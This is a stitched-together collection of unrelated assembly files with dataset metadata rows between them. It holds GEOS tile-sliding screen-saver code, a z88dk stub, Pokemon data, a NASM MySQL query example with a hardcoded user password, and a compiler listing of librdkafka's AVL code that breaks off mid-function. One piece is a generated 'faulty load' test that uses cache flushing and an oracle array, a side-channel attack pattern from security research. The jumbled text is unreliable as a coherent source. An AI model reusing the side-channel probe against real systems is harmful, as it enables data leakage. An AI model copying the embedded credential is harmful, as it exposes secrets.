PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/11/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesAppDraw method dynamic TilesApplicationClass,
MSG_TILES_APP_DRAW
;
; Make sure there is a GState to draw with
;
tst ds:[di].SAI_curGState
jz quit
;
; Get the screen position of the source -- current open piece
;
mov ax, es:[openRow]
mov bx, es:[openColumn]
call GetScreenPos
mov cx, ax
mov dx, bx ; (cx,dx) <- (x,y) pos
;
; Get a random adjacent square -- new open piece
;
call GetRandomAdjacent
mov es:[openRow], ax
mov es:[openColumn], bx
call GetScreenPos ; (ax,bx) <- (x,y) pos
;
; Slide the piece into the adjacent square
;
push si
mov si, {word}es:[lastDirection]
shl si, 1
andnf si, 0x00ff
call cs:slideFuncs[si] ;call correct routine
;
; Set another timer for next time.
;
pop si
call TilesSetTimer
quit:
ret
slideFuncs nptr \
offset SlideDown,
offset SlideLeft,
offset SlideUp,
offset SlideRight
TilesAppDraw endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SlideDown
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Slide a piece down into open slot
CALLED BY: TilesDraw
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
(ax,bx) = source (x,y)
(cx,dx) = dest (x,y)
es:[maxBlit] = maximum amount to blit
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/27/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SlideDown proc near
class TilesApplicationClass
uses si, di
.enter
mov di, ds:[di].SAI_curGState
mov si, dx ; si <- dest y
mov dx, bx ; dx <- source y
slideDownLoop:
mov bp, dx
add bp, es:[maxBlit] ; bp <- next position
cmp bp, si ; too far?
jle amountOK
mov bp, si ; bp <- limit to edge
amountOK:
mov dx, bp ; dx <- new dest y
call CallBitBlt
push cx
add cx, es:[pieceSize] ; cx <- right side
call GrFillRect ; obliterate old stuff
pop cx
add bx, es:[maxBlit] ; bx <- new source y
cmp dx, si ; reached the bottom?
jl slideDownLoop ; branch while more
.leave
ret
SlideDown endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SlideRight
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Slide a piece right into open slot
CALLED BY: TilesDraw
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
(ax,bx) = source (x,y)
(cx,dx) = dest (x,y)
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/27/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SlideRight proc near
class TilesApplicationClass
uses si, di
.enter
mov di, ds:[di].SAI_curGState
mov si, cx ; si <- dest x
mov cx, ax ; cx <- source x
slideRightLoop:
mov bp, cx
add bp, es:[maxBlit] ; bp <- next position
cmp bp, si ; too far?
jle amountOK
mov bp, si ; bp <- limit to edge
amountOK:
mov cx, bp ; cx <- new dest x
call CallBitBlt
push dx
add dx, es:[pieceSize] ; dx <- bottom
call GrFillRect ; obliterate old stuff
pop dx
add ax, es:[maxBlit] ; ax <- new source x
cmp cx, si ; reached the right?
jl slideRightLoop ; branch while more
.leave
ret
SlideRight endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SlideUp
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Slide a piece up into open slot
CALLED BY: TilesDraw
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
(ax,bx) = source (x,y)
(cx,dx) = dest (x,y)
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/27/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SlideUp proc near
class TilesApplicationClass
uses si, di
.enter
mov di, ds:[di].SAI_curGState
mov si, dx ; si <- dest y
mov dx, bx ; dx <- source y
slideUpLoop:
mov bp, dx
sub bp, es:[maxBlit] ; bp <- next position
cmp bp, si ; too far?
jge amountOK
mov bp, si ; bp <- limit to edge
amountOK:
mov dx, bp ; dx <- new dest y
call CallBitBlt
push cx, bx, dx
add cx, es:[pieceSize] ; cx <- right side
add bx, es:[pieceSize]
add dx, es:[pieceSize]
call GrFillRect ; obliterate old stuff
pop cx, bx, dx
sub bx, es:[maxBlit] ; bx <- new source y
cmp dx, si ; reached the top?
jg slideUpLoop ; branch while more
.leave
ret
SlideUp endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SlideLeft
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Slide a piece left into open slot
CALLED BY: TilesDraw
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
(ax,bx) = source (x,y)
(cx,dx) = dest (x,y)
RETURN: nothing
DESTROYED: ax, bx, cx, dx, bp
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/27/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SlideLeft proc near
class TilesApplicationClass
uses si, di
.enter
mov di, ds:[di].SAI_curGState
mov si, cx ; si <- dest x
mov cx, ax ; cx <- source x
slideLeftLoop:
mov bp, cx
sub bp, es:[maxBlit] ; bp <- next position
cmp bp, si ; too far?
jge amountOK
mov bp, si ; bp <- limit to edge
amountOK:
mov cx, bp ; cx <- new dest x
call CallBitBlt
push dx, ax, cx
add dx, es:[pieceSize] ; dx <- bottom
add ax, es:[pieceSize]
add cx, es:[pieceSize]
call GrFillRect ; obliterate old stuff
pop dx, ax, cx
sub ax, es:[maxBlit] ; ax <- new source x
cmp cx, si ; reached the left?
jg slideLeftLoop ; branch while more
.leave
ret
SlideLeft endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CallBitBlt
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up params and call GrBitBlt
CALLED BY: SlideLeft, SlideRight, SlideDown, SlideUp
PASS: di = SAI_curGState
es = dgroup
es:pieceSize = size of pieces to blt
(ax,bx) = source (x,y)
(cx,dx) = dest (x,y)
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/27/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
CallBitBlt proc near
class TilesApplicationClass
uses si
.enter
push es:[pieceSize] ; pass height of block
mov si, BLTM_COPY
push si ; pass BLTMode
mov si, es:[pieceSize] ; si = width of block
call GrBitBlt ; bit-blit me jesus
.leave
ret
CallBitBlt endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetRandomAdjacent
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get random square adjacent to current open one
CALLED BY: TilesDraw
PASS: ds:[di] = TilesApplicationInstance
es = dgroup
es:openRow,openColumn = open (r,c)
es:numRows,numColumns = number of (r,c)
es:lastDirection = last direction traveled (0-3)
RETURN: (ax,bx) - adjacent (r,c)
ds:lastDirection - new direction (0-3)
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/17/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetRandomAdjacent proc near
class TilesApplicationClass
uses dx, si
.enter
randomLoop:
mov dx, 4
mov bx, ds:[di].TAI_random
call SaverRandom ; dx <- random 0,1,2,3
mov si, dx
mov dh, dl
add dl, 2 ; dl <- opposite direction
andnf dl, 0x3 ; dl <- mod 4
cmp dl, es:[lastDirection] ; opposite of last time?
je randomLoop ; don't back up
shl si, 1 ; si <- table of words
mov ax, es:[openRow]
mov bx, es:[openColumn] ; (ax,bx) <- open (r,c)
jmp cs:directionFunc[si] ; call correct stub
done:
mov es:[lastDirection], dh ; save direction
.leave
ret
adjacentUp:
cmp ax, 0
je randomLoop
dec ax ; ax <- up one row
jmp done
adjacentDown:
inc ax ; ax <- down one row
cmp ax, es:[numRows]
je randomLoop
jmp done
adjacentLeft:
cmp bx, 0
je randomLoop
dec bx ; bx <- left one column
jmp done
adjacentRight:
inc bx ; bx <- right one column
cmp bx, es:[numColumns]
je randomLoop
jmp done
directionFunc nptr \
offset adjacentUp,
offset adjacentRight,
offset adjacentDown,
offset adjacentLeft
GetRandomAdjacent endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
EraseOpenTile
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Erase the open tile
CALLED BY: TilesDraw, TilesStart
PASS: ds:[di] = TilesApplicationInstance
es:openRow, openColumn = open (r,c)
es:pieceSize = size of each piece
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/17/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
EraseOpenTile proc near
class TilesApplicationClass
uses di
.enter
mov di, ds:[di].SAI_curGState
mov ax, es:[openRow]
mov bx, es:[openColumn]
call GetScreenPos ; (ax,bx) <- (x,y) pos
mov cx, ax
add cx, es:[pieceSize] ; cx <- right x
dec cx ; don't overlap
mov dx, bx
add dx, es:[pieceSize] ; dx <- bottom y
dec dx ; don't overlap
call GrFillRect ; paint it black
.leave
ret
EraseOpenTile endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GetScreenPos
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Get screen position for (r,c) position
CALLED BY: TilesAppDraw, EraseOpenTile, InitTiles
PASS: (ax,bx) = (r,c) position
es = dgroup
es:[pieceSize] = size of each piece
RETURN: (ax,bx) - (x,y) screen position
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 9/17/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetScreenPos proc near
uses dx
.enter
mul es:[pieceSize]
push ax ; save y position
mov ax, bx ; ax <- column
mul es:[pieceSize] ; ax <- x position
pop bx ; bx <- y position
.leave
ret
GetScreenPos endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
TilesSetTimer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set a one-shot timer to draw the next line.
CALLED BY: TilesAppSetWin, TilesAppDraw
PASS: *ds:si = TilesApplicationObject
RETURN: nothing
DESTROYED: ax, bx, cx, dx
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
eca 6/28/91 Initial version
stevey 12/20/92 port to 2.0
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
TilesSetTimer proc near
class TilesApplicationClass
uses di
.enter
mov di, ds:[si]
add di, ds:[di].TilesApplication_offset
mov al, TIMER_EVENT_ONE_SHOT
mov cx, ds:[di].TAI_speed
mov dx, MSG_TILES_APP_DRAW
mov bx, ds:[LMBH_handle] ; ^lbx:si = destination
call TimerStart
mov ds:[di].TAI_timerHandle, bx
mov ds:[di].TAI_timerID, ax
.leave
ret
TilesSetTimer endp
TilesCode ends
| 22.007855 | 80 | 0.545974 |
8c7fe1170f768d71e720231c3e649b9dd2a4ea2f | 159 | asm | Assembly | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_setcaps.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_setcaps.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | null | null | null | libsrc/_DEVELOPMENT/arch/zxn/esxdos/c/sccz80/esx_m_setcaps.asm | Toysoft/z88dk | f930bef9ac4feeec91a07303b79ddd9071131a24 | [
"ClArtistic"
] | null | null | null | ; unsigned char esx_m_setcaps(unsigned char caps)
SECTION code_esxdos
PUBLIC esx_m_setcaps
EXTERN asm_esx_m_setcaps
defc esx_m_setcaps = asm_esx_m_setcaps
| 15.9 | 49 | 0.849057 |
3c79ed9b3302d9d66e0c230d35c9aff43657264a | 1,622 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_4_231.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_4_231.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca.log_4_231.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rbx
push %rdx
lea addresses_A_ht+0x16110, %r13
nop
nop
sub $48862, %rbx
mov $0x6162636465666768, %r12
movq %r12, %xmm3
vmovups %ymm3, (%r13)
nop
nop
cmp $35145, %rdx
pop %rdx
pop %rbx
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_RW+0x1e440, %rbx
nop
add $33852, %rbp
mov (%rbx), %si
nop
nop
nop
nop
and %rbp, %rbp
// REPMOV
lea addresses_A+0x9880, %rsi
lea addresses_WC+0x18880, %rdi
and %r15, %r15
mov $73, %rcx
rep movsl
nop
nop
nop
nop
nop
add $61985, %rdi
// Faulty Load
lea addresses_PSE+0xb080, %r15
clflush (%r15)
xor $15816, %r13
mov (%r15), %rbx
lea oracles, %rcx
and $0xff, %rbx
shlq $12, %rbx
mov (%rcx,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_WC', 'congruent': 10}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 8, 'NT': False, 'type': 'addresses_PSE', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 4}}
{'33': 4}
33 33 33 33
*/
| 18.022222 | 142 | 0.647349 |
dc107e5a68ce03d30323f10588026c5a087a11c9 | 173 | asm | Assembly | data/wildPokemon/victoryroad2.asm | etdv-thevoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | 1 | 2022-01-09T05:28:52.000Z | 2022-01-09T05:28:52.000Z | data/wildPokemon/victoryroad2.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | data/wildPokemon/victoryroad2.asm | ETDV-TheVoid/pokemon-rgb-enhanced | 5b244c1cf46aab98b9c820d1b7888814eb7fa53f | [
"MIT"
] | null | null | null | PlateauMons2:
db $0A
db 36,GEODUDE
db 31,GEODUDE
db 41,GEODUDE
db 44,GRAVELER
db 44,GOLBAT
db 39,GOLBAT
db 45,ONIX
db 47,ONIX
db 39,MACHOKE
db 45,MACHOKE
db $00
| 12.357143 | 15 | 0.710983 |
cdf147164aad8f3c149e2682f8d50edd091816e4 | 6,248 | asm | Assembly | Examples/database/mysqldatabase.asm | agguro/linux-nasm | 3e72083c3db6d7118eb2aa430b73e0d20e88456b | [
"Unlicense"
] | 6 | 2020-07-19T18:34:43.000Z | 2022-03-26T10:21:09.000Z | Examples/database/mysqldatabase.asm | NrdyBhu1/linux-nasm | 3e72083c3db6d7118eb2aa430b73e0d20e88456b | [
"Unlicense"
] | null | null | null | Examples/database/mysqldatabase.asm | NrdyBhu1/linux-nasm | 3e72083c3db6d7118eb2aa430b73e0d20e88456b | [
"Unlicense"
] | 3 | 2020-07-19T18:35:10.000Z | 2021-07-25T17:34:50.000Z | ;name: mysqldatabases.asm
;
;build: nasm -felf64 mysqldatabases.asm -o mysqldatabases.o
; ld -melf_x86_64 -o mysqldatabases mysqldatabases.o --dynamic-linker /lib64/ld-linux-x86-64.so.2 -lmysqlclient
;
;description: example how to query a mysql server.
;
;to build: you need libmysqlclient libary. (sudo apt-get install libmysqlclient)
bits 64
[list -]
extern mysql_close
extern mysql_errno
extern mysql_error
extern mysql_fetch_row
extern mysql_free_result
extern mysql_init
extern mysql_query
extern mysql_real_connect
extern mysql_server_end
extern mysql_server_init
extern mysql_use_result
%include "unistd.inc"
[list +]
section .bss
conn: resq 1
result: resq 1
row: resq 1
section .rodata:
host: db "localhost",0
port: dq 3306
user: dq "agguro",0
password: dq "Es661026$",0
database: db "agguro",0
socket: dq 0
clientflag: dq 0
section .data
strserverinit: db "MySQL library could not be initialized",10
.len: equ $-strserverinit
strobjinit: db "MySQL init object failed", 10
.len: equ $-strobjinit
strresult: db "MySQL result error", 10
.len: equ $-strresult
strfetchrow: db "MySQL fetch row error", 10
.len: equ $-strfetchrow
query: db "show databases",0
section .text
global _start
_start:
;connect to mysql server
;not an embedded MySQL so all arguments must be zero
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
call mysql_server_init
and rax, rax
jnz errserverinit
; From this point we need to cleanup the library!!!!
xor rdi, rdi
call mysql_init
and rax, rax
jz errobjinit
; no errors, connect and login
mov qword[conn], rax ; save *mysql
mov rdi, rax ; value of mysql = pointer to mysql instance of connection
push 0 ; the value of clientflags or NULL if none
push 0 ; the value of socket or NULL if none
mov r9d, dword[port] ; the value of the port to connect to
mov r8,database ; pointer to zero terminated database string
mov rcx, password ; pointer to zero terminated password string
mov rdx, user ; pointer to zero terminated user string
mov rsi, host ; pointer to zero terminated host string
call mysql_real_connect ; connect
pop rdx ; restore stackpointer
pop rdx
sub rax, qword[conn] ; if conn == pointer to mysql instance then succes
and rax, rax
jnz errconnect
; We are connected, execute the query
mov rsi, query ; pointer to zero terminated query string
mov rdi, qword[conn] ; value of mysql = pointer to mysql instance of connection
call mysql_query ; query the server
; check for errors
mov rdi, qword[conn] ; check if an error occured
call mysql_errno
and rax, rax
jnz errerror
mov rdi, qword[conn]
call mysql_use_result ; we don't ask all the records at once (less client side memory)
and rax, rax
jz errresult
; get databases from resultset
mov qword[result], rax
nextrecord:
mov rdi, qword[result]
call mysql_fetch_row
; the result is a pointer to a row
; first 8 bytes of that result is a pointer to the name of the item in the row
; we have to loop this procedure until the row == null
; after row == null received always check first for errors
and rax, rax
jz norows ; any record left?
cmp rax, 2000 ; unknown error
je errerror
cmp rax, 2013 ; connection lost
je errerror
mov qword[row], rax
; print the record
mov rsi, [rax]
mov rdi, rsi
call stringlength
mov rdx, rax
add rax, rsi
inc rdx
mov byte[rax], 0x0A
call string2stdout
;go for next record
jmp nextrecord
norows:
mov rdi, qword[conn]
call mysql_errno
and rax, rax
jnz errerror
; free result
mov rdi, qword[result]
call mysql_free_result
closeconnection:
mov rdi, qword[conn]
call mysql_close
endserver:
call mysql_server_end
exit:
syscall exit, 0
errserverinit:
mov rsi, strserverinit
mov rdx, strserverinit.len
call string2stderr
jmp exit
errobjinit:
mov rsi, strobjinit
mov rdx, strobjinit.len
call string2stderr
jmp endserver
errconnect:
push endserver
jmp errerror.@1
errerror:
push closeconnection
.@1:
mov rdi, qword[conn]
call mysql_error
mov rsi, rax
mov rdi, rax
call stringlength
mov rdx, rax
inc rdx
add rax, rsi
mov byte[rax], 0x0A
call string2stderr
ret
errresult:
mov rsi, strresult
mov rdx, strresult.len
call string2stderr
jmp closeconnection
errfetchrow:
mov rsi, strfetchrow
mov rdx, strfetchrow.len
call string2stderr
jmp closeconnection
string2stderr:
push rcx
push r11
mov rdi, stderr
jmp _syscallwrite
string2stdout:
push rcx
push r11
mov rdi, stdout
_syscallwrite:
syscall write, rdi, rsi, rdx
pop r11
pop rcx
ret
; determine string length of a string in rdi
stringlength:
xor rcx, rcx
dec rcx
xor rax, rax
repne scasb
neg rcx
dec rcx
dec rcx
and rcx, rcx
mov rax, rcx ; return length in RAX
ret
| 29.611374 | 117 | 0.56178 |
6055c96239db84dab682600db5456b754857c7bd | 270 | asm | Assembly | add_args.asm | gaozihang/learning-asm | be23287dd6fcddb4035ae3179b174342d92db6c7 | [
"MIT"
] | null | null | null | add_args.asm | gaozihang/learning-asm | be23287dd6fcddb4035ae3179b174342d92db6c7 | [
"MIT"
] | null | null | null | add_args.asm | gaozihang/learning-asm | be23287dd6fcddb4035ae3179b174342d92db6c7 | [
"MIT"
] | null | null | null | %include 'functions.asm'
SECTION .text
global _start
_start:
pop ecx
pop edx
sub ecx, 1
mov edx, 0
nextArg:
cmp ecx, 0h
jz noMoreArgs
pop eax
call atoi
add edx, eax
dec ecx
jmp nextArg
noMoreArgs:
mov eax, edx
call iprintLF
call quit
| 10 | 24 | 0.662963 |
12e2ff226ffad162b49e365b5539b451e8112ef5 | 61,197 | asm | Assembly | asg/asm/rdavl.asm | asgkafka/librdkafka | d0a14ca313ed1efafb3924ff33fb6c4d474efe3c | [
"BSD-2-Clause-NetBSD",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause"
] | null | null | null | asg/asm/rdavl.asm | asgkafka/librdkafka | d0a14ca313ed1efafb3924ff33fb6c4d474efe3c | [
"BSD-2-Clause-NetBSD",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause"
] | null | null | null | asg/asm/rdavl.asm | asgkafka/librdkafka | d0a14ca313ed1efafb3924ff33fb6c4d474efe3c | [
"BSD-2-Clause-NetBSD",
"Zlib",
"BSD-2-Clause",
"MIT",
"BSD-3-Clause"
] | 1 | 2021-05-05T11:49:00.000Z | 2021-05-05T11:49:00.000Z | *PROCESS DUPALIAS
*
* Compiled by DCC Version 2.25.07 Mar 6 2021 08:51:07
* on Fri Apr 30 15:35:14 2021
*
WXTRN @@ZARCH#
*
*
*
* Code Section
*
@CODE ALIAS C'@RDAVL'
@CODE CSECT
@CODE AMODE ANY
@CODE RMODE ANY
@DATA ALIAS C'@rdavl'
__assert ALIAS C'@@ASSERT'
EXTRN __assert
rwlock_init ALIAS X'99A6939683926D899589A3'
EXTRN rwlock_init
rwlock_destroy ALIAS X'99A6939683926D8485A2A39996A8'
EXTRN rwlock_destroy
calloc ALIAS C'calloc'
EXTRN calloc
free ALIAS C'free'
EXTRN free
*
*
*
* ....... start of rd_calloc
@LNAME1077 DS 0H
DC X'00000009'
DC C'rd_calloc'
DC X'00'
rd_calloc DCCPRLG CINDEX=1077,BASER=12,FRAME=208,ENTRY=NO,ARCH=ZARCH,LN*
AMEADDR=@LNAME1077
* ******* End of Prologue
* *
* *** void *p = calloc(num, sz);
LG 15,0(0,1) ; num
STG 15,176(0,13)
LG 15,8(0,1) ; sz
STG 15,184(0,13)
LA 1,176(0,13)
LG 15,@lit_1077_0 ; calloc
@@gen_label0 DS 0H
BALR 14,15
@@gen_label1 DS 0H
LGR 2,15
* *** ((p) ? (void)0 : __assert(__func__, "C:\\asgkafka\\librdkaf\
* ka\\src\\rd.h", 122, "p"));
LTGR 15,2
BNZ @L32
@L31 DS 0H
LG 15,@lit_1077_1
STG 15,176(0,13)
LG 15,@lit_1077_2
STG 15,184(0,13)
MVGHI 192(13),122
LA 15,32(0,15)
STG 15,200(0,13)
LA 1,176(0,13)
LG 15,@lit_1077_3 ; __assert
@@gen_label3 DS 0H
BALR 14,15
@@gen_label4 DS 0H
@L32 DS 0H
* *** return p;
LGR 15,2
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1077 DC F'208'
@lit_1077_0 DC AD(calloc)
@lit_1077_3 DC AD(__assert)
@lit_1077_2 DC AD(@strings@)
@lit_1077_1 DC AD(@DATA)
DROP 12
*
* DSECT for automatic variables in "rd_calloc"
* (FUNCTION #1077)
*
@AUTO#rd_calloc DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_free
@LNAME1080 DS 0H
DC X'00000007'
DC C'rd_free'
DC X'00'
rd_free DCCPRLG CINDEX=1080,BASER=12,FRAME=176,ENTRY=NO,ARCH=ZARCH,LNA*
MEADDR=@LNAME1080
* ******* End of Prologue
* *
* *** free(ptr);
LG 15,0(0,1) ; ptr
STG 15,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1080_5 ; free
@@gen_label5 DS 0H
BALR 14,15
@@gen_label6 DS 0H
* *** }
@ret_lab_1080 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1080 DC F'176'
@lit_1080_5 DC AD(free)
DROP 12
*
* DSECT for automatic variables in "rd_free"
* (FUNCTION #1080)
*
@AUTO#rd_free DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_rotate
@LNAME1918 DS 0H
DC X'0000000D'
DC C'rd_avl_rotate'
DC X'00'
rd_avl_rotate DCCPRLG CINDEX=1918,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARC*
H,LNAMEADDR=@LNAME1918
* ******* End of Prologue
* *
LG 15,0(0,1) ; ran
L 1,12(0,1) ; dir
* *** rd_avl_node_t *n;
* *** static const rd_avl_dir_t odirmap[] = {
* *** [RD_AVL_RIGHT] = RD_AVL_LEFT,
* *** [RD_AVL_LEFT] = RD_AVL_RIGHT
* *** const int odir = odirmap[dir];
LGFR 2,1
LG 3,@lit_1918_7
SLLG 2,2,2(0) ; *0x4
L 3,424(2,3)
* ***
* *** n = ran->ran_p[odir];
LGFR 2,3
SLLG 2,2,3(0) ; *0x8
LG 2,0(2,15)
* *** ran->ran_p[odir] = n->ran_p[dir];
LGFR 3,3
SLLG 3,3,3(0) ; *0x8
LGFR 4,1
SLLG 4,4,3(0) ; *0x8
LG 4,0(4,2)
STG 4,0(3,15)
* *** n->ran_p[dir] = rd_avl_balance_node(ran);
LGFR 1,1
SLLG 3,1,3(0) ; *0x8
STG 15,176(0,13)
LA 1,176(0,13)
LG 4,@lit_1918_8 ; rd_avl_balance_node
LGR 15,4
